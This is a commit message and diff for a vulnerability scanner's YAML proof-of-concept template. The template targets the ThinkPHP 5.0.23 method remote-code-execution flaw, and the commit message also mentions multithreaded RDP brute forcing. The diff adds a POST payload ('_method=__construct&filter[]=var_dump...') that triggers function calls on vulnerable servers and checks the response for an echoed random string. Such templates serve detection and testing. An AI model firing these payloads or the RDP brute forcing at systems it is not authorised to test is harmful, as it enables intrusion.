poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程

WebScan/pocs/thinkphp5023-method-rce.yml

@@ -1,5 +1,17 @@
 name: poc-yaml-thinkphp5023-method-rce
-rules:
+set:
+  rand: randomLowercase(10)
+groups:
+  poc1:
+  - method: POST
+    path: /index.php?s=captcha
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      _method=__construct&filter[]=var_dump&method=GET&get[]={{rand}}
+    expression: |
+      response.body.bcontains(bytes(rand))
+  poc2:
   - method: POST
     path: /index.php?s=captcha
     headers:
@@ -8,6 +20,7 @@ rules:
       _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1
     expression: |
       response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1")
+
 detail:
   links:
-    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce
+    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce